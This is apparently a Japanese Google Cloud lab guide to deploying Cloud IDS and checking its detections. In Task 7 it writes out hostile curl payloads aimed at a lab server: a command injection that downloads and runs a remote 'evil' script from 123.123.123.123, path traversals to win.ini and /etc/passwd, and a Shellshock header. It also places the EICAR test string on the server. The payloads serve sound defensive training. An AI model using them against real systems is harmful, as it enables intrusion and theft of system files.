概要
このラボでは、Cloud Intrusion Detection System(Cloud IDS) をデプロイします。Cloud IDS は高度な次世代侵入検知サービスです。侵入、マルウェア、スパイウェア、コマンド&コントロール攻撃の脅威を検出します。複数の攻撃をシミュレートして、Google Cloud コンソールで脅威の詳細を確認できます。
目標
このラボでは、次のタスクの実行方法について学びます。
前記の図に示す Google Cloud ネットワーキング環境の構築。
Cloud IDS エンドポイントの作成。
gcloud CLI コマンドを使用した 2 つの仮想マシンの作成。
Cloud IDS Packet Mirroring ポリシーの作成。
仮想マシンからの攻撃トラフィックのシミュレート。
Cloud コンソールと Cloud Logging での脅威の詳細の確認。
設定
各ラボでは、新しい Google Cloud プロジェクトとリソースセットを一定時間無料で利用できます。
[ラボを開始 ] ボタンをクリックします。ラボの料金をお支払いいただく必要がある場合は、表示されるポップアップでお支払い方法を選択してください。
左側の [ラボの詳細 ] パネルには、以下が表示されます。
[Google Cloud コンソールを開く ] ボタン
残り時間
このラボで使用する必要がある一時的な認証情報
このラボを行うために必要なその他の情報(ある場合)
[Google Cloud コンソールを開く ] をクリックします(Chrome ブラウザを使用している場合は、右クリックして [シークレット ウィンドウで開く ] を選択します)。
ラボでリソースが起動し、別のタブで [ログイン ] ページが表示されます。
ヒント: タブをそれぞれ別のウィンドウで開き、並べて表示しておきましょう。
注: [アカウントの選択 ] ダイアログが表示されたら、[別のアカウントを使用 ] をクリックします。
必要に応じて、下のユーザー名 をコピーして、[ログイン ] ダイアログに貼り付けます。
{{{user_0.username | "Username"}}}
[ラボの詳細 ] パネルでもユーザー名 を確認できます。
[次へ ] をクリックします。
以下のパスワード をコピーして、[ようこそ ] ダイアログに貼り付けます。
{{{user_0.password | "Password"}}}
[ラボの詳細 ] パネルでもパスワード を確認できます。
[次へ ] をクリックします。
重要: ラボで提供された認証情報を使用する必要があります。Google Cloud アカウントの認証情報は使用しないでください。
注: このラボでご自身の Google Cloud アカウントを使用すると、追加料金が発生する場合があります。
その後次のように進みます。
利用規約に同意してください。
一時的なアカウントなので、復元オプションや 2 要素認証プロセスは設定しないでください。
無料トライアルには登録しないでください。
その後、このタブで Google Cloud コンソールが開きます。
注: Google Cloud のプロダクトやサービスのリストを含むメニューを表示するには、左上のナビゲーション メニュー をクリックするか、[検索 ] フィールドにサービス名またはプロダクト名を入力します。
Google Cloud Shell の有効化
Google Cloud Shell は、開発ツールと一緒に読み込まれる仮想マシンです。5 GB の永続ホーム ディレクトリが用意されており、Google Cloud で稼働します。
Google Cloud Shell を使用すると、コマンドラインで Google Cloud リソースにアクセスできます。
Google Cloud コンソールで、右上のツールバーにある [Cloud Shell をアクティブにする] ボタンをクリックします。
[続行 ] をクリックします。
環境がプロビジョニングされ、接続されるまでしばらく待ちます。接続した時点で認証が完了しており、プロジェクトに各自のプロジェクト ID が設定されます。次に例を示します。
gcloud は Google Cloud のコマンドライン ツールです。このツールは、Cloud Shell にプリインストールされており、タブ補完がサポートされています。
次のコマンドを使用すると、有効なアカウント名を一覧表示できます。
gcloud auth list
出力:
Credentialed accounts:
- @.com (active)
出力例:
Credentialed accounts:
- google1623327_student@qwiklabs.net
次のコマンドを使用すると、プロジェクト ID を一覧表示できます。
gcloud config list project
出力:
[core]
project =
出力例:
[core]
project = qwiklabs-gcp-44776a13dea667a6
注:
gcloud ドキュメントの全文については、
gcloud CLI の概要ガイド
をご覧ください。
このラボではこの作業を行うために、Cloud Shell 内で gcloud
CLI コマンドを使用します。
タスク 1. API を有効にする
このタスクでは、プロジェクト ID 変数を設定し、ラボで必要な API を有効化します。
Cloud Shell で Project_ID 環境変数を設定するため、次のコマンドを実行します。
export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Service Networking API を有効にします。
gcloud services enable servicenetworking.googleapis.com \
--project=$PROJECT_ID
コマンドを承認するよう求められたら、[承認 ] をクリックします。
Cloud IDS API を有効にします。
gcloud services enable ids.googleapis.com \
--project=$PROJECT_ID
Cloud Logging API を有効にします。
gcloud services enable logging.googleapis.com \
--project=$PROJECT_ID
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
API を有効にする。
タスク 2. Google Cloud ネットワーキングのフットプリントを準備する
このタスクでは、Google Cloud VPC ネットワークを作成し、プライベート サービス アクセスを構成します。
プライベート サービス アクセスは、VPC ネットワークと Google またはサードパーティが所有するネットワークとのプライベート接続です。Google またはサードパーティ(サービスを提供しているエンティティ)は、サービス プロデューサーとも呼ばれます。
プライベート接続を使用すると、VPC ネットワーク内の仮想マシン(VM)インスタンスとアクセスするサービスで、内部 IP アドレスを使用して排他的に通信できるようになります。
Cloud Shell で、VPC を作成するため次のコマンドを実行します。
gcloud compute networks create cloud-ids \
--subnet-mode=custom
コマンドを承認するよう求められたら、[承認 ] をクリックします。
us-east1 内のミラーリングされたトラフィックのためにサブネットを VPC に追加します。
gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1
プライベート サービス アクセスを構成します。
gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids
プライベート接続を作成します。
gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
VPC を作成する。
タスク 3. Cloud IDS エンドポイントを作成する
このタスクでは、重大度を「情報」 に設定して、us-east1 に Cloud IDS エンドポイントを作成します。
Cloud IDS は、IDS エンドポイントと呼ばれるリソースを使用します。これは、そのリージョン内のあらゆるゾーンからのトラフィックを検査できるゾーンリソースです。各 IDS エンドポイントは、ミラーリングされたトラフィックを受信して脅威検出分析を実行します。
注: IDS エンドポイントの作成には約 20 分かかります。
Cloud IDS エンドポイントを作成するため、Cloud Shell で次のコマンドを実行します。
gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async
Cloud IDS エンドポイントが開始したことを確認します。
gcloud ids endpoints list --project=$PROJECT_ID
「Would you like to enable and retry 」というメッセージが表示されたら、Y を押します。
出力は次のようになります。
ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
Cloud IDS エンドポイントを作成する。
タスク 4. ファイアウォール ルールと Cloud NAT を作成する
このタスクでは、allow-http-icmp と allow-iap-proxy の 2 つのファイアウォール ルールを作成します。
標準 HTTP ポート(TCP 80)接続を有効にするため、および cloud-ids ネットワーク内のすべてのソースからサーバー VM への ICMP プロトコル接続を有効にするため、allow-http-icmp ルールを定義します。
Identity-Aware Proxy の IP 範囲から VM への SSH 接続を有効にするため、allow-iap-proxy ルールを定義します。
さらに、Cloud Router を構成してから、Cloud NAT を構成します。Cloud NAT の前提条件として、先に Cloud Router を同じリージョンで構成しておく必要があります。パブリック IP アドレスを持たない VM にインターネットでアクセスできるようにするには、同じリージョンに Cloud NAT を作成する必要があります。インターネットからのアクセスをできないようにするため、VM はパブリック IP アドレスなしで作成します 。ただし、インターネットへのアクセスは、 アップデートやファイルのダウンロードのために必要です。
allow-http-icmp ルールを作成するため、Cloud Shell で次のコマンドを実行します。
gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server
allow-iap-proxy ルールを作成します。
gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
VPC にファイアウォール ルールを追加する。
Cloud Router を作成するには、次のコマンドを実行します。
gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids
Cloud NAT を構成するため、次のコマンドを実行します。
gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
Cloud Router を作成する。
タスク 5. 2 つの仮想マシンを作成する
このタスクでは、2 つの仮想マシン(VM)を作成します。1 番目の仮想マシンはウェブサーバーで、Cloud IDS にミラーリングします。2 番目の仮想マシンは攻撃トラフィックのソースです。
Identity-Aware Proxy(IAP)経由でサーバーへの SSH 接続を確立し、ウェブサービス サーバーのステータスをチェックして、ウェブサーバーで無害なマルウェア ファイルを作成してから、そのファイルにコンテンツを追加します。
Cloud IDS に対してミラーリングするサーバーとなる仮想マシンを作成するため、Cloud Shell で次のコマンドを実行します。
gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-11-bullseye-v20240709 \
--image-project=debian-cloud \
--boot-disk-size=10GB
このコマンドにより、us-east1 に Debian サーバーが作成され、簡易ウェブサービスがインストールされます。
攻撃トラフィックを送信するクライアントとなる仮想マシンを作成します。
gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-11-bullseye-v20240709 \
--image-project=debian-cloud \
--boot-disk-size=10GB
このコマンドにより、us-east1 内の Debian サーバーをクライアントとして使用するための準備が行われます。
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
仮想マシンを作成する。
サーバーを準備する
この手順では、サーバーを検証してから、クライアント用の無害なマルウェア ペイロードを作成します。
IAP 経由のサーバーへの SSH 接続を確立するため、次のコマンドを実行します。
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
このコマンドでは、SSH 認証鍵と必要なディレクトリを作成するための一連の手順が示されます。
ディレクトリ作成プロンプトに同意するため、「Y 」を入力します。
パスフレーズの入力を求められたら、空のパスフレーズを使用するため Enter キーを 2 回押します。
これでサーバー VM のシェルにアクセスできました。
ウェブサービスが実行されていることを確認する
この手順では、ウェブ サービス サーバーのステータスをチェックします。ウェブサーバーで無害なマルウェア ファイルを作成し、そのファイルにコンテンツを追加します。
ウェブサービスのステータスをチェックするため、次の Linux コマンドを実行します。
sudo systemctl status nginx
出力は次のようになります。
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24 min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
ディレクトリをウェブサービスに変更します。
cd /var/www/html
ウェブサーバーで無害なマルウェア ファイルを作成します。次の Linux コマンドを実行してテキスト ファイルを作成します。
sudo touch eicar.file
新しく作成したファイルに次の内容を追加します。
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
サーバー VM シェルを終了して、Cloud Shell に戻ります。
exit
タスク 6. Cloud IDS Packet Mirroring ポリシーを作成する
このタスクでは、Cloud IDS Packet Mirroring ポリシーを作成します。このポリシーは、どのトラフィックを Cloud IDS にミラーリングするかを決定します。このポリシーを、新しく作成した Cloud IDS エンドポイントに接続します。
前述のとおり、Cloud IDS エンドポイントの作成にはある程度時間がかかります。このラボを進める前に、エンドポイントがアクティブ / 準備完了状態でなければなりません。
1. Cloud IDS エンドポイントがアクティブであることを確認するため、Cloud Shell で次のコマンドを実行して Cloud IDS エンドポイントの現在の状態を表示します。
gcloud ids endpoints list --project=$PROJECT_ID | grep STATE
出力は次のようになります。
STATE: READY
状態に「READY」 と表示されるまで、数分おきにこのコマンドを実行してください。
Cloud IDS エンドポイント転送ルールを特定し、Cloud IDS エンドポイント状態が「READY」 であることを確認します。
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE
出力は次のようになります。
https://www.googleapis.com/compute/v1/projects/md975a7fa0a53145dp-tp/regions/us-east1/forwardingRules/ids-fr-cloud--xkkerutlagop6opm
Packet Mirroring ポリシーを作成して接続します。
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
Packet Mirroring ポリシーを作成して接続する。
Packet Mirroring ポリシーが作成されていることを確認します。
gcloud compute packet-mirrorings list
この gcloud コマンドは、Packet Mirroring ポリシーをリストし、それが有効 / 無効のどちらであるかを表示します。
出力は次のようになります。
NAME: cloud-ids-packet-mirroring
REGION: us-east1
NETWORK: cloud-ids
ENABLE: TRUE
タスク 7. 攻撃トラフィックをシミュレートする
このタスクでは、攻撃元の仮想マシンへの SSH 接続を確立し、仮想マシンからサーバーへの攻撃トラフィックをシミュレートします。重大度が低から重大の範囲の curl
コマンドを選択して実行することによってシミュレートします。
IAP 経由で攻撃元の仮想マシンへの SSH 接続を確立するため、Cloud Shell で次のコマンドを実行します。
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
注: ここでは Cloud Shell マシンではなく、攻撃元 VM のシェルで操作しています。
IDS で重大度アラート低、中、高、重大をシミュレートするように、次の curl
リクエストを順に実行します。
重大度: 低:
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
重大度: 中:
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
重大度: 高:
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
重大度: 重大:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
攻撃元仮想マシンのシェルを終了して、Cloud Shell に戻ります。
exit
タスク 8. Cloud IDS が検出した脅威を確認する
このタスクでは、Cloud IDS がキャプチャしたさまざまな攻撃トラフィックを Cloud コンソールで確認します。キャプチャされた攻撃トラフィック プロファイルから、各脅威の詳細がわかります。
Google Cloud コンソールのナビゲーション メニュー ( )で、[ネットワーク セキュリティ] > [Cloud IDS] をクリックします。
[脅威 ] タブをクリックします。
Cloud IDS は、さまざまな攻撃トラフィック プロファイルをキャプチャしており、各脅威の詳細を確認できます。何も脅威が表示されない場合、[更新 ] をクリックしてみてください。ここで、さらに詳しく調べ、脅威の詳細を表示できます。
Bash Remote Code Execution Vulnerability 脅威を見つけて、その他 ( )をクリックし、[脅威の詳細を表示 ] を選択します。
注: 複数の脅威が同じ名前(例:「Bash Remote Code Execution Vulnerability」)になっていることに気付く場合があります。これは想定どおりの動作です。
さらに詳しく見れば、脅威のセッション ID が異なっていることがわかります。作成された両方の VM が同じサブネット内にあるので、クライアントとサーバーの両方のミラーリングされたパケットが表示されます。クライアントからのアウトバウンド パケットが IDS にミラーリングされ、さらに、サーバーへのインバウンド パケットが IDS にミラーリングされています。
ここで、このインシデントの詳細を Cloud Logging で確認します。[脅威 ] ページに戻るには、左矢印をクリックします。
[脅威 ] タブをクリックします。
Bash Remote Code Execution Vulnerability を見つけて、その他 をクリックし、[脅威のログを表示する ] を選択します。
新しい [Cloud Logging] タブが開き、同じ詳細情報が表示されます。これにより、ログを Cloud Storage、Chronicle、または任意の SIEM / SOAR に送信できるようになります。アラートに基づく修復アクションを実行するためのカスタム ワークフローを作成することもできます。たとえば、アラートでトリガーする Cloud Functions の関数の作成、IP アドレスをブロックするためのファイアウォール ルールの作成または更新、Google Cloud Armor ポリシーの作成または更新などです。
[進行状況を確認 ] をクリックして、目標に沿って進んでいることを確認します。
Cloud IDS を使ってみる。
お疲れさまでした
このラボでは次の作業を行いました。
新しい VPC を作成し、Cloud IDS エンドポイントをデプロイしました。
2 つの VM をデプロイし、Packet Mirroring ポリシーを作成して、攻撃トラフィックを送信しました。
Cloud コンソールで脅威の詳細を確認し、Cloud Logging で脅威ログを確認することにより、Cloud IDS が脅威をキャプチャしたことを確認しました。
その他のリソース
以下のラボで、Cloud IDS をさらに詳しく知ることができます。
ラボを終了する
ラボが完了したら、[ラボを終了 ] をクリックします。ラボで使用したリソースが Google Cloud Skills Boost から削除され、アカウントの情報も消去されます。
ラボの評価を求めるダイアログが表示されたら、星の数を選択してコメントを入力し、[送信 ] をクリックします。
星の数は、それぞれ次の評価を表します。
星 1 つ = 非常に不満
星 2 つ = 不満
星 3 つ = どちらともいえない
星 4 つ = 満足
星 5 つ = 非常に満足
フィードバックを送信しない場合は、ダイアログ ボックスを閉じてください。
フィードバックやご提案の送信、修正が必要な箇所をご報告いただく際は、[サポート ] タブをご利用ください。
Copyright 2020 Google LLC All rights reserved. Google および Google のロゴは Google LLC の商標です。その他すべての企業名および商品名はそれぞれ各社の商標または登録商標です。